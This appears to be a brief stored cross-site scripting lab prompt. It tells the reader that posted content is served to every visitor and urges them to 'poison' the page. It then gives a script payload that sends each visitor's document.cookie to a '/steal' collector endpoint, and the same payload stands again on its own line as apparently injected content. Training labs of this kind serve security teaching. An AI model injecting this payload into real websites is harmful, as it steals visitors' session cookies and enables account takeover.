Whatever you post is stored and served to everyone who loads this page. Poison it, then reload to watch it fire. Push it further: <script>fetch("/steal?c="+document.cookie)</script> and check the collector.
<script>fetch("/steal?c="+document.cookie)</script>